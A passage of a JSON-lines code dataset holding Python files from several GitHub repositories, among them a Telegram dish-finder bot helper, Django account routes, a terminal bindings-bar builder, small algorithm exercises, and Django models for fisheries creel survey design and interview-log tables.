str,\n keyboard=None) -> None: # forget about type\n \"\"\"\n Send text simple message with or without keyboard.\n\n :param update: aiogram object with input data\n :param text: text\n :param keyboard: KeyboardMarkup\n :return: None\n \"\"\"\n user_lang = db_manager.get_user(get_chat_id(update)).language\n text = lang_translator.translate(text=text, to_lang=user_lang)\n await bot.send_message(\n chat_id=get_chat_id(update),\n text=text,\n reply_markup=keyboard,\n )\n\n\nasync def send_msg_with_dish(\n update: Union[types.Message, types.CallbackQuery],\n dish: DishInBotRepr,\n keyboard=None) -> None:\n \"\"\"\n Send message with dish info.\n\n :param update: aiogram object with input data\n :param dish: DishInBotRepr\n :param keyboard: KeyboardMarkup\n :return: None\n \"\"\"\n user_lang = db_manager.get_user(get_chat_id(update)).language\n text = lang_translator.translate(text=dish.preview(), to_lang=user_lang)\n # text = LangChecker(get_chat_id(update)).to_user_lang(dish.preview())\n logging.info(dish.title + \" \" + str(update.from_user.id))\n await bot.send_photo(\n chat_id=get_chat_id(update),\n reply_markup=keyboard,\n photo=dish.image_url,\n caption=text,\n )\n","repo_name":"kopollo/DishFinder","sub_path":"bot/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4841,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37584038963","text":"from django.urls import path\nfrom accounts import views\n\n\nurlpatterns = [\n path('', views.DefaultHomePageView.as_view(), name='home'),\n path('signup/', views.SignupView.as_view(), name='signup'),\n path('login/', views.LoginView.as_view(), name='login'),\n path('logout/', views.LogoutView.as_view(), name='logout'),\n path('privacy-policy/', views.PrivecyPolicyView.as_view(), name='privacy_policy'),\n]\n","repo_name":"shoichiros/django-my-apps","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12455447154","text":"import argparse\nfrom model_functions import test_model\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n\n parser.add_argument('--model', type=str, default='resnet', choices=['googlenet', 'resnet'])\n parser.add_argument('--pretrained_model', type=str, default=None)\n parser.add_argument('--dataset_path', type=str, default='./datasets/KingCollege')\n\n user_args = parser.parse_args()\n test_model(user_args)\n","repo_name":"Shania-F/msc-dissertation","sub_path":"PyTorch Model/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8251458664","text":"from .interface_bases import InterfaceBuilder, InterfaceSection\n\n__all__ = (\n 'BindingsBarBuilder',\n # Private:\n # 'BindingsSection',\n)\n\n\n# ***\n\nclass BindingsSection(InterfaceSection):\n \"\"\"\n \"\"\"\n\n def __init__(self, bindings, plinth, colors=None, reserve_width=0):\n super(BindingsSection, self).__init__(colors=colors)\n self.bindings = bindings\n self._plinth = plinth\n self.reserve_width = reserve_width\n\n # ***\n\n @property\n def plinth(self):\n if callable(self._plinth):\n return self._plinth()\n return self._plinth\n\n def __str__(self):\n return (\n '{} / # bindngs: {} / # plinth: {} / reserve_w: {} / max_w: {}'\n .format(\n super(BindingsSection, self).__str__(),\n len(self.bindings),\n len(self._plinth),\n self.reserve_width,\n self.max_width,\n )\n )\n\n # ***\n\n @property\n def max_width(self):\n if self._max_width is not None:\n return self._max_width\n\n parts, unfmt = self.reset()\n max_width = max(\n self.max_width_row_0,\n self.max_width_row_1,\n )\n self.reset(parts, unfmt)\n self._max_width = max_width\n return self._max_width\n\n @property\n def max_width_row_0(self):\n self.reset()\n for idx, binding in enumerate(self.bindings):\n self.add_key_hint(idx, binding)\n briefs = binding.briefs\n if callable(briefs):\n briefs = briefs()\n lenest_binding = max(briefs, key=len)\n self.add_brief_hint(lenest_binding)\n max_width = len(self.unfmt) + self.reserve_width\n return max_width\n\n @property\n def max_width_row_1(self):\n self.reset()\n self.render_pedestal_hint()\n return len(self.unfmt)\n\n # ***\n\n def render(self, row):\n getattr(self, 'render_row_{}'.format(row))()\n return self.parts\n\n def render_row_0(self):\n self.reset()\n self.render_binding_hints()\n self.render_edges_middle()\n\n def render_row_1(self):\n self.reset()\n self.render_pedestal_hint()\n self.render_edges_bottom()\n\n # ***\n\n def render_binding_hints(self):\n for idx, binding in enumerate(self.bindings):\n self.render_binding_hint(idx, binding)\n\n def render_binding_hint(self, idx, binding):\n highlight = binding.highlight\n self.add_key_hint(idx, binding, highlight)\n self.add_brief_hint(binding, highlight)\n\n def add_key_hint(self, idx, binding, highlight=False):\n if not binding.keycode:\n return\n\n prefix = ' ' if idx > 0 else ''\n self.add_normal(prefix)\n self.add_key_hint_parts(binding.key_hint, highlight)\n self.add_normal(' ')\n\n def add_key_hint_parts(self, key_hint, highlight):\n if highlight:\n self.add_zinger('[')\n self.add_lamron(key_hint)\n self.add_zinger(']')\n else:\n keycode = '[{}]'.format(key_hint)\n self.add_lamron(keycode)\n\n def add_brief_hint(self, binding_or_brief, highlight=False):\n try:\n brief_hint = binding_or_brief.brief\n except AttributeError:\n brief_hint = binding_or_brief\n if not highlight:\n self.add_normal(brief_hint)\n else:\n self.add_zinger(brief_hint)\n\n # ***\n\n def render_pedestal_hint(self):\n padded = ' {} '.format(self.plinth)\n self.add_zinger(padded)\n\n\n# ***\n\nclass BindingsBarBuilder(InterfaceBuilder):\n \"\"\"\n \"\"\"\n\n def __init__(self, colors):\n super(BindingsBarBuilder, self).__init__(colors=colors)\n self.footers = []\n\n # ***\n\n def add_bindings(self, bindings, plinth, reserve_width=0):\n section = BindingsSection(\n bindings, plinth, reserve_width=reserve_width, colors=self.colors,\n )\n self.wire_linked_list(section)\n self.sections.append(section)\n\n def add_footer(self, footer):\n self.footers.append(footer)\n\n # ***\n\n def parts(self, prompt=None):\n if self._parts:\n return self._parts\n self.assemble_parts_rows()\n self.assemble_parts_footers()\n return self._parts\n\n def assemble_parts_rows(self):\n nrows = 2\n for row in range(nrows):\n for section in self.sections:\n self._parts += section.render(row)\n if row < (nrows - 1):\n self._parts.append(('', '\\n'))\n\n def assemble_parts_footers(self):\n for footer in self.footers:\n dummy = InterfaceSection(colors=self.colors)\n if callable(footer):\n footer = footer(self, dummy)\n\n if isinstance(footer, str):\n dummy.add_normal(footer)\n parts = dummy.parts\n else:\n parts = footer\n self._parts += parts\n\n # ***\n\n @property\n def first_line_len(self):\n line_width = 0\n for part in self.parts():\n lines = part[1].split('\\n', 2)\n line_width += len(lines[0])\n if len(lines) == 2:\n break\n return line_width\n\n def max_width(self):\n max_width = sum([section.max_width for section in self.sections])\n return max_width\n\n","repo_name":"tallybark/dob-prompt","sub_path":"dob_prompt/prompters/interface_fanny.py","file_name":"interface_fanny.py","file_ext":"py","file_size_in_byte":5413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40605998480","text":"def sum_of_subsets(weights: list[int], target: int) -> list[list[int]]:\n '''given a list of weights `weights` and a target `target`, return all subsets of weights that add up exactly to target. '''\n\n res = []\n\n def backtrack(i, array, total):\n if i == len(weights):\n return\n if total < 0:\n return\n if total == 0:\n res.append(list(array))\n array.append(weights[i])\n backtrack(i+1, array, total - weights[i])\n array.pop()\n backtrack(i+1, array, total)\n\n backtrack(0, [], target)\n\n return res\n\n\nw1 = [5, 10, 12, 13, 15, 18]\nt1 = 30\nprint(sum_of_subsets(w1, t1))\n","repo_name":"zlefler/grokking-algorithms","sub_path":"playground/sum_of_subsets.py","file_name":"sum_of_subsets.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22758523750","text":"def find(n):\n num = str(n)\n length = len(num)\n is_odd = length % 2\n left = num[:length//2]\n middle = num[length//2] if is_odd else \"\"\n\n rez = left+middle+left[::-1]\n if rez > num:\n return rez\n\n if middle and middle < '9':\n middle = str(int(middle)+1)\n return left + middle + left[::-1]\n elif middle:\n middle = '0'\n\n if all(el=='9' for el in left):\n return '1' + '0'*(len(num)-1) + '1'\n else:\n l = list(left)\n k = len(l)-1\n for i,el in enumerate(l[::-1]):\n if el=='9':\n l[k-i] = '0'\n else:\n l[k-i] = str(int(el)+1)\n break\n left = \"\".join(l)\n return left + middle + left[::-1]\n\nfor k in range(int(input())):\n number=input()\n print(find(number))\n","repo_name":"KarimLulu/SPOJ","sub_path":"spoj/next_palindrome.py","file_name":"next_palindrome.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19102563435","text":"\"\"\"=============================================================\n~/creel_portal/creel_portal/models/CreelTables.py\n Created: 30 Mar 2020 08:49:17\n\n DESCRIPTION:\n\n This file contains all of the design tables from a\n fishnet-II/Creesys project that are specific to creels.\n\n+ FN022\n+ FN023\n+ FN024\n+ FN025\n+ FN026\n+ FN028\n+ FN111\n+ FN112\n+ Strata\n\n\n A. Cottrill\n=============================================================\n\n\"\"\"\n\nfrom datetime import datetime, timedelta\nfrom django.contrib.auth import get_user_model\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.template.defaultfilters import slugify\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\n\nfrom common.models import Lake\n\nfrom .choices import CONTMETH_CHOICES\n\nUser = get_user_model()\n\n# note = move this to main.models too\nclass FN011(models.Model):\n \"\"\"Class to hold a record for each project\"\"\"\n\n lake = models.ForeignKey(\n Lake, default=1, related_name=\"creels\", on_delete=models.CASCADE\n )\n\n prj_ldr = models.ForeignKey(\n User,\n help_text=\"Project Lead\",\n related_name=\"creels\",\n blank=False,\n on_delete=models.CASCADE,\n )\n field_crew = models.ManyToManyField(User, related_name=\"creel_crew\")\n\n prj_date0 = models.DateField(help_text=\"Start Date\", blank=False)\n prj_date1 = models.DateField(help_text=\"End Date\", blank=False)\n prj_cd = models.CharField(\n help_text=\"Project Code\", max_length=12, unique=True, blank=False\n )\n year = models.CharField(\n help_text=\"Year\", max_length=4, blank=True, editable=False, db_index=True\n )\n prj_nm = models.CharField(help_text=\"Project Name\", max_length=60, blank=False)\n\n comment0 = models.TextField(\n blank=True, null=True, help_text=\"General Project Description.\"\n )\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n # contmeth is repeated in FR711 table - will have to figure out how\n # to keep them in sync.\n contmeth = models.CharField(\n help_text=\"Creel Type\",\n max_length=2,\n db_index=True,\n choices=CONTMETH_CHOICES,\n default=\"A2\",\n )\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN011 - Creel\"\n ordering = [\"-prj_date1\"]\n\n def get_absolute_url(self):\n \"\"\"return the url for the project\"\"\"\n url = reverse(\"creel_portal:creel_detail\", kwargs={\"slug\": self.slug})\n return url\n # return reverse(\"creel_detail\", {\"slug\": self.slug})\n\n def __str__(self):\n \"\"\"return the creel name and project code as its string\n representation\"\"\"\n return \"<Creel: {} ({})>\".format(self.prj_nm, self.prj_cd)\n\n def save(self, *args, **kwargs):\n \"\"\"\n from:http://stackoverflow.com/questions/7971689/\n generate-slug-field-in-existing-table\n Slugify name if it doesn't exist. IMPORTANT: doesn't check to see\n if slug is a dupicate!\n \"\"\"\n\n self.slug = slugify(self.prj_cd)\n self.year = self.prj_date0.year\n super(FN011, self).save(*args, **kwargs)\n\n def get_global_strata(self):\n \"\"\"This function will return the global strata of the the last run of\n this creel. If the mask is \"++_++_++_++\", a single object will\n be returned correspondng to a single record in the FR712\n table. if the mask contains any ? - one record will be\n returned for each level in the corresponding stratum.\n \"\"\"\n\n my_run = self.creel_run.order_by(\"-run\").first()\n\n mask_re = my_run.strat_comb.replace(\"?\", \"\\w\").replace(\"+\", \"\\+\")\n\n my_strata = my_run.strata.filter(stratum_label__regex=mask_re).all()\n\n return my_strata\n\n def get_global_effort(self):\n \"\"\"Return the final effort estimates for this creel at the highest\n level of aggregation. If strat_comb indicates that all strata\n are to be collapsed, then the result is one element list\n containing the estimates. If strat_comb indicates that one or\n more strata are not to be combined, this function returns a\n list with one element corresponding to each strata level.\n\n By default, the last run a creel is always returned. This\n assumes that each run is an improvement on previous runs.\n This could be re-considered if necessary.\"\"\"\n\n # get the globals for a creel:\n # return the estimates from the last run\n # TODO - we need to get multiple objects if the comb_strat contains\n # any '??'\n # effort = self.creel_run.order_by('-run').first().\\\n # strata.filter(stratum_label='++_++_++_++').\\\n # first().effort_estimates.get()\n\n my_run = self.creel_run.order_by(\"-run\").first()\n\n mask_re = my_run.strat_comb.replace(\"?\", \"\\w\").replace(\"+\", \"\\+\")\n\n my_strata = my_run.strata.filter(stratum_label__regex=mask_re).all()\n\n estimates = []\n for x in my_strata:\n # strata = [x.season, x.daytype, x.period, x.area, x.mode]\n strata = x.stratum_label\n # tmp = x.effort_estimates.get()\n estimates.append({\"strata\": strata, \"estimates\": tmp})\n\n return estimates\n\n @property\n def final_run(self):\n \"\"\"Return the final creel run - assumes that the run with the highest\n number is preferred. This may not be case.\n\n Arguments:\n - `self`:\n\n \"\"\"\n return self.creel_run.order_by(\"-run\").first()\n\n # def get_global_catch(self):\n # \"\"\"Return the final catch estimates for this creel at the highest\n # level of aggregation. If strat_comb indicates that all strata\n # are to be collapsed, then the result is one element list\n # containing the estimates. If strat_comb indicates that one or\n # more strata are not to be combined, this function returns a\n # list with one element corresponding to each strata level.\n\n # By default, the last run a creel is always returned. This\n # assumes that each run is an improvement on previous runs.\n # This could be re-considered if necessary.\n\n # \"\"\"\n\n # # catch_est = self.creel_run.order_by('-run').first().\\\n # # strata.filter(stratum_label='++_++_++_++').\\\n # # first().catch_estimates.all()\n # # return catch_est\n\n # my_run = self.creel_run.order_by(\"-run\").first()\n\n # mask_re = my_run.strat_comb.replace(\"?\", \"\\w\").replace(\"+\", \"\\+\")\n # # my_strata = my_run.strata.filter(stratum_label__regex=mask_re).all()\n # # estimates = []\n # # for x in my_strata:\n # # # strata = [x.season, x.daytype, x.period, x.area, x.mode]\n # # strata = x.stratum_label\n # # #tmp = FR714.objects.filter(fr712__stratum=x)\n # # tmp = x.catch_estimates.all()\n # # estimates.append({\"strata\": strata, \"estimates\": tmp})\n\n # return my_run.strata.filter(stratum_label__regex=mask_re).all()\n\n # def get_catch_totals(self):\n # \"\"\"this function returns a json string containing the observed and\n # estimated catch and harvest numbers for this creel.\n\n # If the creel has only one final strata, this query should\n # return numbers that are exactly the same as the global strata\n # (++_++_++_++), but in cases where strata are maintained\n # seperatately (and that strata does not exist), this query\n # returns the equivalent values by summing accross all\n # individual strata estiamtes.\n\n # TODO: this function should be exposed through an api.\n\n # Arguments:\n # - `self`:\n\n # \"\"\"\n # # aliases = {\"common_name\": F(\"species__common_name\")}\n\n # # aggregation_metrics = {\n # # \"xcatne\": Sum(\"catne\"),\n # # \"xcatne1\": Sum(\"catne1\"),\n # # \"xcatno_s\": Sum(\"catno_s\"),\n # # \"xcatno1_s\": Sum(\"catno1_s\"),\n # # \"xhvsno_s\": Sum(\"hvsno_s\"),\n # # \"xhvsno1_s\": Sum(\"hvsno1_s\"),\n # # \"xhvsne\": Sum(\"hvsne\"),\n # # \"xhvsne1\": Sum(\"hvsne1\"),\n # # }\n\n # # catch_counts = (\n # # FR714.objects.filter(stratum__creel_run=self.final_run, rec_tp=2)\n # # .annotate(**aliases)\n # # .values(\"common_name\")\n # # .order_by()\n # # .annotate(**aggregation_metrics)\n # # )\n\n # # return json.dumps(list(catch_counts))\n\n # return None\n\n\nclass FN022(models.Model):\n \"\"\"Class to represent the seasons (temporal strata) used in each creel.\"\"\"\n\n creel = models.ForeignKey(\"FN011\", related_name=\"seasons\", on_delete=models.CASCADE)\n ssn = models.CharField(\n help_text=\"Season Code\", max_length=2, blank=False, db_index=True\n )\n ssn_des = models.CharField(\n help_text=\"Season Description\", max_length=60, blank=False\n )\n ssn_date0 = models.DateField(help_text=\"Season Start Date\", blank=False)\n ssn_date1 = models.DateField(help_text=\"Season End Date\", blank=False)\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN022 - Season\"\n ordering = [\"ssn\"]\n unique_together = [\"creel\", \"ssn\"]\n\n def save(self, *args, **kwargs):\n \"\"\" \"\"\"\n\n raw_slug = \"-\".join([self.creel.prj_cd, self.ssn])\n\n self.slug = slugify(raw_slug)\n super(FN022, self).save(*args, **kwargs)\n\n def __str__(self):\n \"\"\"return the season name, code and project code associated with this\n particular season.\"\"\"\n\n repr = \"<Season: {} ({}) [{}]>\"\n return repr.format(self.ssn_des, self.ssn, self.creel.prj_cd)\n\n @property\n def label(self):\n \"\"\"a string that will be used in serialized respoonse for this strata.\n If both the ssn, and ssn des are available, return them, otherwise,\n return just the snn code.\n\n Arguments:\n - `self`:\n\n \"\"\"\n if self.ssn_des:\n label = \"{}-{}\".format(self.ssn, self.ssn_des.title())\n else:\n label = \"{}\".format(self.ssn)\n return label\n\n def tally_days(self):\n \"\"\"a helper function that returns a three element dictionary contains\n the the total number of days covered by this season, the\n number of weekdays, and the number of weekend days. Exception\n dates and holidays are not included here - they are applied\n when the actualy stratum values are calculated.\n\n \"\"\"\n\n ssn_start = self.ssn_date0\n ssn_end = self.ssn_date1\n\n # the total number of days in the season including the last day\n total_days = (ssn_end - ssn_start).days + 1\n daygenerator = (ssn_start + timedelta(x) for x in range(total_days))\n\n # weekdays:\n weekdays = sum(day.weekday() < 5 for day in daygenerator)\n # weekends are the difference\n weekend_days = total_days - weekdays\n\n return dict(total_days=total_days, weekend_days=weekend_days, weekdays=weekdays)\n\n def get_strat_days(self, dtp=\"1\"):\n \"\"\"Given a daytype code, return the corresponding number of days in\n this strata. There is no guarantee that all creel will use\n dtp=2 for weekends (dow_lst=17). This will return them either\n way, as long as 17 was used for saturday-sunday.\n \"\"\"\n\n dow_list = self.daytypes.get(dtp=dtp).dow_lst\n if dow_list == \"17\":\n days = self.tally_days().get(\"weekend_days\")\n else:\n days = self.tally_days().get(\"weekdays\")\n\n exception_dates = self.exception_dates.all()\n for x in exception_dates:\n if x.dtp1 == dtp:\n days += 1\n else:\n days -= 1\n\n return days\n\n\nclass FN023(models.Model):\n \"\"\"Class to represent the daytypes used in each season of creel\"\"\"\n\n DAYTYPE_CHOICES = ((1, \"weekday\"), (2, \"weekend\"))\n\n # creel = models.ForeignKey(FN011)\n season = models.ForeignKey(FN022, related_name=\"daytypes\", on_delete=models.CASCADE)\n dtp = models.CharField(\n help_text=\"Day Type Code\",\n max_length=2,\n blank=False,\n db_index=True,\n choices=DAYTYPE_CHOICES,\n )\n dtp_nm = models.CharField(help_text=\"Day Type Name\", max_length=10, blank=False)\n dow_lst = models.CharField(help_text=\"Day Of Week List\", max_length=7, blank=False)\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN023 - Day Type\"\n ordering = [\"dtp\"]\n unique_together = [\"season\", \"dtp\"]\n\n @property\n def creel(self):\n \"\"\"A shortcut method to directly access the creel object - allows use\n of same permission class on different api endpoints.\n \"\"\"\n return self.season.creel\n\n def save(self, *args, **kwargs):\n \"\"\" \"\"\"\n\n raw_slug = \"-\".join([self.season.creel.prj_cd, self.season.ssn, self.dtp])\n\n self.slug = slugify(raw_slug)\n super(FN023, self).save(*args, **kwargs)\n\n def __str__(self):\n \"\"\"return the object type, the daytype name, day type code, and the\n code project code of the creel this record is assoicated with.\n\n \"\"\"\n\n repr = \"<DayType: {}({}) {}-{}>\"\n return repr.format(\n self.dtp_nm, self.dtp, self.season.ssn, self.season.creel.prj_cd\n )\n\n @property\n def label(self):\n \"\"\"a string that will be used in serialized respoonse for this strata.\n If both the dtp, and dtp des are available, return them, otherwise,\n return just the snn code.\n\n Arguments:\n - `self`:\n\n \"\"\"\n if self.dtp_nm:\n label = \"{}-{}\".format(self.dtp, self.dtp_nm.title())\n else:\n label = \"{}\".format(self.dtp)\n return label\n\n\nclass FN024(models.Model):\n \"\"\"Class to represent the period used in each day types of each season\n of creel.\n \"\"\"\n\n daytype = models.ForeignKey(FN023, related_name=\"periods\", on_delete=models.CASCADE)\n prd = models.CharField(\n help_text=\"Period Code\", max_length=2, blank=False, db_index=True\n )\n prdtm0 = models.TimeField(help_text=\"Period Start Time\", blank=False)\n prdtm1 = models.TimeField(help_text=\"Period End Time\", blank=False)\n prd_dur = models.FloatField(help_text=\"Period Duration (hrs)\", blank=False)\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN024 - Period\"\n ordering = [\"prd\"]\n unique_together = [\"daytype\", \"prd\"]\n\n def __str__(self):\n \"\"\"return the object type, period code, the daytype name, the season,\n and project code of the creel this record is assoicated with.\n\n \"\"\"\n\n start = self.prdtm0.strftime(\"%H:%M\")\n end = self.prdtm1.strftime(\"%H:%M\")\n\n repr = \"<Period: {} ({}-{} ({} hrs)) {}-{}-{}>\"\n return repr.format(\n self.prd,\n start,\n end,\n self.prd_dur,\n self.daytype.dtp_nm,\n self.daytype.season.ssn_des,\n self.daytype.season.creel.prj_cd,\n )\n\n def save(self, *args, **kwargs):\n \"\"\"\n Create a space label as a combination of the space description\n and space code.\n \"\"\"\n\n raw_slug = \"-\".join(\n [\n self.daytype.season.creel.prj_cd,\n self.daytype.season.ssn,\n self.daytype.dtp,\n str(self.prd),\n ]\n )\n\n self.slug = slugify(raw_slug)\n\n # to calculate the difference between times, we need to convert\n # them to date. Use the current date, it won't affect the results\n adate = datetime.now().date()\n delta = datetime.combine(adate, self.prdtm1) - datetime.combine(\n adate, self.prdtm0\n )\n\n self.prd_dur = delta.total_seconds() / (60 * 60)\n super(FN024, self).save(*args, **kwargs)\n\n @property\n def creel(self):\n \"\"\"A shortcut method to directly access the creel object - allows use\n of same permission class on different api endpoints.\n \"\"\"\n return self.daytype.season.creel\n\n\nclass FN025(models.Model):\n \"\"\"Class to represent the day type exceptions so that holidays can be\n treated as weekends.\n \"\"\"\n\n season = models.ForeignKey(\n FN022, related_name=\"exception_dates\", on_delete=models.CASCADE\n )\n date = models.DateField(help_text=\"Exception Date\", blank=False)\n dtp1 = models.CharField(help_text=\"Day Type Code\", max_length=2, blank=False)\n description = models.CharField(\n help_text=\"Description\", max_length=50, default=\"Holiday\"\n )\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN025 - Exception Date\"\n ordering = [\"date\"]\n unique_together = [\"season\", \"date\"]\n\n def clean(self):\n \"\"\"The exception date must fall within the dates of the assoicated season.\"\"\"\n\n if self.date < self.season.ssn_date0.date():\n raise ValidationError(\n {\"date\": _(\"Date occurs before the associated season.\")}\n )\n\n if self.date > self.season.ssn_date1.date():\n raise ValidationError(\n {\"date\": _(\"Date occurs after the associated season.\")}\n )\n\n def save(self, *args, **kwargs):\n \"\"\"\n Create a slug as a combination of the prject code, the season code and the date.\n\n \"\"\"\n\n raw_slug = \"-\".join(\n [self.season.creel.prj_cd, self.season.ssn, self.date.strftime(\"%Y-%m-%d\")]\n )\n\n self.slug = slugify(raw_slug)\n self.full_clean()\n super(FN025, self).save(*args, **kwargs)\n\n def __str__(self):\n \"\"\"return the object type, the date, the season name, and\n code project code of the creel this record is assoicated with.\n\n \"\"\"\n fdate = datetime.strftime(self.date, \"%Y-%m-%d\")\n repr = \"<ExceptionDate: {} ({}-{})>\"\n return repr.format(fdate, self.season.ssn_des, self.season.creel.prj_cd)\n\n @property\n def creel(self):\n \"\"\"A shortcut method to directly access the creel object - allows use\n of same permission class on different api endpoints.\n \"\"\"\n return self.season.creel\n\n\nclass FN026(models.Model):\n \"\"\"Class to represent the spatial strat used in a creel.\"\"\"\n\n creel = models.ForeignKey(\n \"FN011\", related_name=\"spatial_strata\", on_delete=models.CASCADE\n )\n space = models.CharField(\n max_length=2, blank=False, help_text=\"Space Code\", db_index=True\n )\n space_des = models.CharField(\n max_length=100, blank=False, help_text=\"Space Description\"\n )\n space_siz = models.IntegerField(blank=True, null=True)\n area_cnt = models.IntegerField(blank=True, null=True)\n area_lst = models.CharField(\n max_length=20, help_text=\"Area List\", blank=True, null=True\n )\n area_wt = models.FloatField(blank=True, null=True)\n\n label = models.CharField(max_length=110, blank=False, help_text=\"Space Label\")\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n dd_lat = models.FloatField(blank=True, null=True)\n dd_lon = models.FloatField(blank=True, null=True)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN026 - Spatial Strata\"\n verbose_name_plural = \"FN026 - Spatial Strata\"\n ordering = [\"space\"]\n unique_together = [\"creel\", \"space\"]\n\n def __str__(self):\n \"\"\"return the object type, the space name, the space code, and\n project code of the creel this record is assoicated with.\n\n \"\"\"\n\n repr = \"<Space: {} ({}) [{}]>\"\n return repr.format(self.space_des, self.space, self.creel.prj_cd)\n\n def save(self, *args, **kwargs):\n \"\"\"\n Create a space label as a combination of the space description\n and space code.\n \"\"\"\n\n raw_slug = \"-\".join([self.creel.prj_cd, self.space])\n\n self.slug = slugify(raw_slug)\n\n if self.space_des:\n self.label = \"{}-{}\".format(self.space, self.space_des.title())\n else:\n self.label = \"{}\".format(self.space)\n super(FN026, self).save(*args, **kwargs)\n\n\n# @property\n# def label(self):\n# \"\"\"a string that will be used in serialized respoonse for this strata.\n# If both the space, and space_des are available, return them, otherwise,\n# return just the snn code.\n#\n# Arguments:\n# - `self`:\n#\n# \"\"\"\n# if self.space_des:\n# label = '{}-{}'.format(self.space, self.space_des.title())\n# else:\n# label = '{}'.format(self.space)\n# return label\n#\n#\n# @property\n# def popupContent(self):\n# if self.space_des:\n# return \"<p>Space: {} ({})</p>\".format(self.space_des.title(),\n# self.space)\n# else:\n# return \"<p>Space: {}</p>\".format(self.space)\n#\n\n\nclass FN028(models.Model):\n \"\"\"Class to represent the fishing modes used in a creel.\"\"\"\n\n UNIT_CHOICES = ((1, \"person\"), (2, \"party\"))\n\n CHKFLAG_CHOICES = ((0, \"No\"), (1, \"Yes\"))\n\n creel = models.ForeignKey(\"FN011\", related_name=\"modes\", on_delete=models.CASCADE)\n mode = models.CharField(\n help_text=\"Mode Code\", max_length=2, blank=False, db_index=True\n )\n mode_des = models.CharField(\n help_text=\"Fishing Mode Description\", max_length=100, blank=False\n )\n atyunit = models.IntegerField(\n help_text=\"Activity Unit\", default=1, choices=UNIT_CHOICES\n )\n itvunit = models.IntegerField(\n help_text=\"Interview Unit\", default=1, choices=UNIT_CHOICES\n )\n chkflag = models.IntegerField(\n help_text=\"Check Flag\", default=0, choices=CHKFLAG_CHOICES\n )\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN028 - Fishing Mode\"\n ordering = [\"mode\"]\n unique_together = [\"creel\", \"mode\"]\n\n def __str__(self):\n \"\"\"return the object type, the mode name, the mode code, and\n project code of the creel this record is assoicated with.\n\n \"\"\"\n\n repr = \"<FishingMode: {} ({}) [{}]>\"\n return repr.format(self.mode_des, self.mode, self.creel.prj_cd)\n\n @property\n def label(self):\n \"\"\"a string that will be used in serialized respoonse for this strata.\n If both the mode, and mode_des are available, return them, otherwise,\n return just the snn code.\n\n Arguments:\n - `self`:\n\n \"\"\"\n if self.mode_des:\n label = \"{}-{}\".format(self.mode, self.mode_des.title())\n else:\n label = \"{}\".format(self.mode)\n return label\n\n def save(self, *args, **kwargs):\n \"\"\"Create a unique slug for each fishing mode in this creel.\"\"\"\n\n raw_slug = \"-\".join([self.creel.prj_cd, self.mode])\n self.slug = slugify(raw_slug)\n super(FN028, self).save(*args, **kwargs)\n\n\nclass FN111(models.Model):\n \"\"\"Class to represent the creel logs.\"\"\"\n\n # from FN-2 data dictionary\n WEATHER_CHOICES = [(0, \"No effect\"), (1, \"Possible effect\"), (2, \"Definite effect\")]\n\n # stratum = models.ForeignKey(Strata, related_name='interview_logs')\n creel = models.ForeignKey(\n \"FN011\", related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n season = models.ForeignKey(\n FN022, related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n daytype = models.ForeignKey(\n FN023, related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n period = models.ForeignKey(\n FN024, related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n area = models.ForeignKey(\n FN026, related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n mode = models.ForeignKey(\n FN028, related_name=\"interview_logs\", on_delete=models.CASCADE\n )\n\n sama = models.CharField(max_length=6, blank=False)\n date = models.DateField(blank=False, db_index=True)\n samtm0 = models.TimeField(blank=False, help_text=\"Interview Period Start\")\n weather = models.IntegerField(choices=WEATHER_CHOICES, blank=True, null=True)\n\n help_str = \"Comments about current interview period.\"\n comment1 = models.TextField(\n max_length=200, blank=True, null=True, help_text=help_str\n )\n daycode = models.CharField(max_length=1, blank=False, db_index=True)\n\n slug = models.SlugField(blank=True, unique=True, editable=False)\n\n class Meta:\n app_label = \"creel_portal\"\n verbose_name = \"FN111 - Inveriew Log\"\n ordering = [\"creel__prj_cd\", \"sama\"]\n unique_together = [\"creel\", \"sama\"]\n\n def __str__(self):\n \"\"\"return the object type, the interview log number (sama), the stratum,\n and project code of the creel this record is assoicated\n with.\n\n \"\"\"\n\n repr = \"<InterviewLog: {} ({})>\"\n return repr.format(self.sama, self.creel.prj_cd)\n\n def save(self, *args, **kwargs):\n \"\"\"Create a unique slug for each fishing mode in this creel.\"\"\"\n\n raw_slug = \"-\".join([self.creel.prj_cd, self.sama])\n self.slug = slugify(raw_slug)\n super(FN111, self).save(*args, **kwargs)\n\n @property\n def dow(self):\n \"\"\"Return the numeric 